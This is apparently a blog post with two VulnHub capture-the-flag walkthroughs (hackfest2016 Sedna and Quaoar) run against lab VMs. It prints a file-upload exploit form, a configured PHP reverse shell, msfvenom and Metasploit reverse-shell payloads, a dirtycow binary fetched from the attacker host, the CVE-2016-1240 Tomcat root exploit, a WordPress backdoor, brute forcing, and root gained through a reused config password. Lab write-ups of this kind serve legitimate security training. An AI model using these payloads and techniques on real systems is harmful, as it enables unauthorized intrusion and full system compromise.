Category: Walkthrough

VulnHub Walkthrough: hackfest2016: Sedna

Sedna is the second vulnerable VM released by hackfest.ca this month.  Much of the first steps of enumeration will be similar to that of my write up for the first VM in the series.

The first thing I start with is an Nmap scan.  The output is below, shortened for brevity.

root@kali:~# nmap 10.0.1.22 -p- -sV -A
Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-18 23:47 EDT
Nmap scan report for 10.0.1.22
Host is up (0.00050s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat

Like before, the index.html page on port 80 did not disclose much useful information.  To enumerate these web applications, I once again used Nikto.  I ran this tool against the server on both port 80 and port 8080.

Nikto output of port 8080:

root@kali:~# nikto -host http://10.0.1.22:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.22
+ Target Hostname:    10.0.1.22
+ Target Port:        8080
+ Start Time:         2017-03-18 23:49:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache-Coyote/1.1
+ Server leaks inodes via ETags, header found with file /, fields: 0xW/1895 0x1475867860000
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /: Appears to be a default Apache Tomcat install.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 7839 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-18 23:50:07 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto output of port 80:

root@kali:~# nikto -host http://10.0.1.22
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.22
+ Target Hostname:    10.0.1.22
+ Target Port:        80
+ Start Time:         2017-03-19 00:07:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x65 0x53fb059bb5bc8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3092: /system/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 7536 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2017-03-19 00:07:50 (GMT-4) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I first went after the Apache Tomcat server.  I tried to brute force the manager password using the metasploit module auxiliary/scanner/http/tomcat_mgr_login.  After using a couple different lists, I was not able to discover the password.  I decided to let the Tomcat server sit for a moment and move on to the webserver on port 80.

During the Nikto scan a license.txt file was found.  As stated by the Nikto output, “License file found may identify site software”.  I looked at the content of the file and it did indeed disclose the name of some software that was running.

This was at the top of the output:

The MIT License (MIT) Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.

Seeing as I know knew there was the “BuilderEngine” software on this server, I went searching in ExploitDB for a relevant exploit.  Based on the license, we can see that the software likely hadn’t been updated since 2015.  This exploit for BuilderEngine was published in 2016.  The vulnerability is unauthenticated file upload. The PoC lists some simple HTML to upload a file and post it to the vulnerable service.  The only thing we need to modify is change “localhost” to the IP of our target server.

<html>
<body>
<form method="post" action="http://10.0.1.22/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

Because we can see that this server is running PHP, we can use the pentestmonkey php reverse shell.

We just need to make a few modifications to point to our server:

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.1.16';  // CHANGE THIS
$port = 8080;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

The HTML PoC was saved to local file. Browsing to the file in a web browser allowed me to upload my PHP shell and have it accessible on the server.

The PHP shell could be triggered from http://10.0.1.22/files/pwn.php

I set up a netcat listener to catch the shell.

root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
10.0.1.22: inverse host lookup failed: Unknown host
connect to [10.0.1.16] from (UNKNOWN) [10.0.1.22] 47809
Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
00:17:53 up 31 min,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After a lot of enumeration, and attempting several exploits such as the overlayfs local root in ubuntu, I decided to look for something very recent. The dirtycow exploit was released late 2016 and is a good candidate to exploit this relatively newer Ubuntu system.  There is more than one way to skin a cow, and the dirtycow Github page lists a number of PoCs. If you do a search on ExploitDB for an exploit the first one comes up is this one, which is based upon one of the original PoCs.  After downloading the exploit code, I modified the username, and hosted it on my attacker system:

root@kali:~# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
10.0.1.22 - - [19/Mar/2017 01:29:31] "GET /cow.c HTTP/1.1" 200 -

I grabbed it using wget from the victim system, writing it into the /tmp directory.  I then followed the instructions in the exploit comments to compile it:

$ gcc -pthread cow.c -o dirty -lcrypt
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Sedna:/tmp$ chmod +x dirty
www-data@Sedna:/tmp$ ./dirty

After the exploit ran, I was able to log into the system via SSH with my new n00py account.

root@kali:~# ssh n00py@10.0.1.22
n00py@10.0.1.22's password:
Permission denied, please try again.
n00py@10.0.1.22's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)* Documentation:  https://help.ubuntu.com/System information as of Sat Mar 18 19:27:13 EDT 2017System load: 0.0               Memory usage: 5%   Processes:       60
Usage of /:  30.2% of 7.26GB   Swap usage:   0%   Users logged in: 0Graph this data and manage this system at:
https://landscape.canonical.com/

At this point I now had root, but was really curious about the Tomcat server still.  While I was enumerating Tomcat I remember seeing some output in the 401 error that stated, “please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp.”

I found the tomcat-users.xml file, which disclosed the password for the management interface.

n00py@Sedna:/etc/tomcat7# cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>

Knowing that Metasploit contained a module for automatically uploading a war file (exploit/multi/http/tomcat_mgr_upload) ,I attempted to use it in the default configuration:

msf exploit(tomcat_mgr_upload) > exploit[*] Started reverse TCP handler on 10.0.1.16:1234
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying bkyWIWqX8zLJeL9kjhApl...
[*] Executing bkyWIWqX8zLJeL9kjhApl...
[*] Undeploying bkyWIWqX8zLJeL9kjhApl ...
[*] Sending stage (49645 bytes) to 10.0.1.22
[*] Meterpreter session 3 opened (10.0.1.16:1234 -> 10.0.1.22:53720) at 2017-03-19 01:36:44 -0400

meterpreter >
[*] 10.0.1.22 - Meterpreter session 3 closed.  Reason: Died

It created a meterpreter shell, but it died immediately.  While I could have tried using different payloads withing the module, I decided to create a standalone payload with Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.1.16 LPORT=4444 -f war > shell.war
WARNING: Nokogiri was built against LibXML version 2.9.2, but has dynamically loaded 2.9.4
Payload size: 1099 bytes

Once I created the war file, I could upload it through the Web UI.  I could then trigger it by visiting  http://10.0.1.22:8080/shell/

I still used Metasploit to catch the shell, as seen here:

msf exploit(handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 10.0.1.16
LHOST => 10.0.1.16
msf exploit(handler) > exploit[*] Started reverse TCP handler on 10.0.1.16:4444
[*] Starting the payload handler...
[*] Command shell session 7 opened (10.0.1.16:4444 -> 10.0.1.22:59894) at 2017-03-19 01:53:53 -0400id
uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7)

As it turns out, Tomcat can also be used for privilege escalation as well. A recent exploit was discovered in 2016.  From the advisory:

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based 
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access 
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the 
target system.

I had tried running the exploit out of the box, but it failed because of this check:

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
cleanexit 2
fi

As I already had root, I decided to make a simple modification just to see this exploit work.  I backed up the ld.so.preload file:

n00py@Sedna:~# mv /etc/ld.so.preload /etc/ld.so.preload.bak

I then ran the exploit:

tomcat7@Sedna:/tmp$ ./tomcat.sh /var/log/tomcat7/catalina.out
./tomcat.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 986672 Mar 19 11:37 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Mar 19 11:37 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉

To save time, I just used the root account to restart Tomcat:

n00py@Sedna:~# service tomcat7 restart
* Stopping Tomcat servlet engine tomcat7                              [ OK ]
* Starting Tomcat servlet engine tomcat7                              [ OK ]

This triggered the rest of the exploit, allowing me to gain a root shell from the Tomcat7 account.

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-rw-rw- 1 n00py root 19 Mar 19 11:37 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 n00py root 986672 Mar 19 11:37 /tmp/tomcatrootsh
Please tell me you're seeing this too 😉
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
id
uid=116(tomcat7) gid=126(tomcat7) euid=0(n00py) groups=0(root),126(tomcat7)

And there we have it.  While I’m sure there may be other ways to exploit this system, these are the ways I found.  If anyone knows of others, feel free to comment.


VulnHub Walkthrough: hackfest2016: Quaoar

A relatively new set of VulnHub CTFs came online in March 2017.  This post is about the first and easiest one, named “Quaoar“.

This post will be a walk-through of my exploitation of this system.

The first thing I like to start off with on any box is a full TCP port scan.  When you boot up the VM, it shows you the IP it gets from DHCP.

root@kali:~# nmap 10.0.1.21 -sV -p-

Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-17 22:32 EDT
Nmap scan report for 10.0.1.21
Host is up (0.000089s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
MAC Address: 00:0C:29:C7:A8:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seeing there is a web port open, a examine it first. Viewing the source code is not particularly interesting:

<div>
<a href="Hack_The_Planet.jpg">
<img src="Quaoar.jpg" width="100%" height="100%"/>
</a>
</div>

The next thing I typically check is the robots.txt file to see if there are any interesting entries.  In this case, there were.

Disallow: Hackers
Allow: /wordpress/
____
#  /___ \_   _  __ _  ___   __ _ _ __
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |
#\___,_\ \__,_|\__,_|\___/ \__,_|_|

For good measure, I also run Nikto and Dirbuster.

root@kali:~# nikto -host http://10.0.1.21
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.21
+ Target Hostname:    10.0.1.21
+ Target Port:        80
+ Start Time:         2017-03-17 22:33:27 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 00:00:10 2016
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3
+ Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/: A WordPress installation was found.
+ 8348 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-17 22:33:41 (GMT-4) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Browsing to the WordPress site shows a pretty simple page.  Now, anytime I see a WordPress site I usually run straight to WPScan, but it this case, I just tried to guess the username and password.  It was simply “admin:admin.”

As it turns out, I had built a suite of tools for WordPress post-exploitation, and this was just the time to use them.  I went and grabbed the WPForce code off of github and ran Yertle.

root@kali:~# git clone https://github.com/n00py/WPForce.git
Cloning into 'WPForce'...
remote: Counting objects: 137, done.
remote: Compressing objects: 100% (75/75), done.
remote: Total 137 (delta 60), reused 137 (delta 60), pack-reused 0
Receiving objects: 100% (137/137), 101.64 KiB | 0 bytes/s, done.
Resolving deltas: 100% (60/60), done.
Checking connectivity... done.
root@kali:~# cd WPForce/

 

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --interactive
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: dlerjql
os-shell> id
Sending command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I was able to then send commands to the server and have them execute.  Wanting a full shell, I used the reverse shell option and caught the shell using netcat.

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --reverse --ip 10.0.1.16 --port 8080
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: sdzemmc
Sending reverse shell to 10.0.1.16 port 8080

 

root@kali:~/WPForce# nc -lvp 8080
listening on [any] 8080 ...
10.0.1.21: inverse host lookup failed: Unknown host
connect to [10.0.1.16] from (UNKNOWN) [10.0.1.21] 56951
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
22:40:29 up 9 min,  0 users,  load average: 0.00, 0.04, 0.04
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

While my shell waited for me, I went on to enumerate the other ports.  I ran enum4linux to enumerate information about the Samba share.

root@kali:~# enum4linux 10.0.1.21
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar 17 23:22:56 2017

==========================
|    Target Information    |
==========================
Target ........... 10.0.1.21
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

==========================
|    Users on 10.0.1.21    |
==========================
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody    Name: nobody    Desc:
index: 0x2 RID: 0x3e8 acb: 0x00000010 Account: viper    Name: viper    Desc:
index: 0x3 RID: 0x3ea acb: 0x00000010 Account: wpadmin    Name:     Desc:
index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: root    Name: root    Desc:

 

What I found most interesting was the user accounts. I was also able to see similar information from the /etc/passwd in my shell.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
colord:x:104:109:colord colour management daemon,,,:/var/lib/colord:/bin/false
whoopsie:x:105:112::/nonexistent:/bin/false
avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
bind:x:107:117::/var/cache/bind:/bin/false
postfix:x:108:118::/var/spool/postfix:/bin/false
dovecot:x:109:120:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:110:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:111:121::/var/lib/landscape:/bin/false
libvirt-qemu:x:112:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:113:123:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:115:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
tomcat6:x:116:126::/usr/share/tomcat6:/bin/false
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh

I took all the usernames that had a login shell and I brute forced them against SMB with Hydra.  This quickly told me that the password for the account wpadmin, which was “wpadmin”.  I could now SSH into the system with that account, and have a real shell.

Now at this point I had spent a couple hours trying to exploit the kernel, exploit dovecot, search for setuid binaries, find passwords in log files, look for weak permissions to no avail.  What turned out to be the privilege escalation method was quite more simple than what I had been trying.

WordPress is a PHP based web application.  It also uses a SQL server on the backend to store its data.  In order to connect to the database, it must have the password to the database.  WordPress stores that data in wp-config.php.

When we cat the wp-config.php, we see the database password:

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

 

While this password is specifically for MySQL, it could also be the password for the root user account, and in this case it was.  At this point all I had to do was “su -” and enter the password.  Done!